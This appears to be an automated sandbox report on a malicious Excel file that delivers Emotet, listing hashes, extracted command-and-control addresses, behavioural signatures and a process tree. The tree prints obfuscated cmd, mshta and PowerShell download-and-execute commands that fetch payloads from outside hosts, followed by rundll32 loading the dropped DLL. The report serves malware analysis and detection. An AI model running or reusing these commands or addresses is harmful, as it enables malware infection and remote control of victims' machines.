Analysis
-
max time kernel
119s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 09:21
Behavioral task
behavioral1
Sample
0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls
Resource
win10-en-20211208
General
-
Target
0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls
-
Size
142KB
-
MD5
4a6e6eb651b36033ebe4633272c55809
-
SHA1
b4d909eb36dfd09c9c885ea6b146c6a45fb85bfc
-
SHA256
0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c
-
SHA512
fef1420a255b15085b3eb26273f426dba6b557d2d30db435bc17a6ae8ef37f4b13b71b6191aa6fec6161611b0ae5cae96f393e2ad24bda5935c8a834b42d01cb
Malware Config
Extracted
http://0xb907d607/fer/fer.html
Extracted
http://185.7.214.7/fer/fer.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1176 2328 cmd.exe 67 -
Blocklisted process makes network request 6 IoCs
flow pid Process 32 3396 mshta.exe 39 2192 powershell.exe 42 2192 powershell.exe 44 2192 powershell.exe 51 364 rundll32.exe 54 364 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
pid Process 3252 rundll32.exe 2444 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Hqdxvhernnqi\oprwww.nuj rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 1244 3396 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2328 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 1244 WerFault.exe 2192 powershell.exe 2192 powershell.exe 2192 powershell.exe 364 rundll32.exe 364 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1244 WerFault.exe Token: SeDebugPrivilege 2192 powershell.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE 2328 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2328 wrote to memory of 3056 2328 EXCEL.EXE 70 PID 2328 wrote to memory of 3056 2328 EXCEL.EXE 70 PID 2328 wrote to memory of 1176 2328 EXCEL.EXE 72 PID 2328 wrote to memory of 1176 2328 EXCEL.EXE 72 PID 1176 wrote to memory of 3396 1176 cmd.exe 74 PID 1176 wrote to memory of 3396 1176 cmd.exe 74 PID 3396 wrote to memory of 2192 3396 mshta.exe 76 PID 3396 wrote to memory of 2192 3396 mshta.exe 76 PID 2192 wrote to memory of 3280 2192 powershell.exe 79 PID 2192 wrote to memory of 3280 2192 powershell.exe 79 PID 3280 wrote to memory of 3252 3280 cmd.exe 80 PID 3280 wrote to memory of 3252 3280 cmd.exe 80 PID 3280 wrote to memory of 3252 3280 cmd.exe 80 PID 3252 wrote to memory of 2444 3252 rundll32.exe 81 PID 3252 wrote to memory of 2444 3252 rundll32.exe 81 PID 3252 wrote to memory of 2444 3252 rundll32.exe 81 PID 2444 wrote to memory of 2024 2444 rundll32.exe 82 PID 2444 wrote to memory of 2024 2444 rundll32.exe 82 PID 2444 wrote to memory of 2024 2444 rundll32.exe 82 PID 2024 wrote to memory of 364 2024 rundll32.exe 83 PID 2024 wrote to memory of 364 2024 rundll32.exe 83 PID 2024 wrote to memory of 364 2024 rundll32.exe 83
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3056
-
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3396 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hqdxvhernnqi\oprwww.nuj",GRBJfbGtWNyhzh8⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hqdxvhernnqi\oprwww.nuj",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:364
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3396 -s 17924⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1244
-
-
-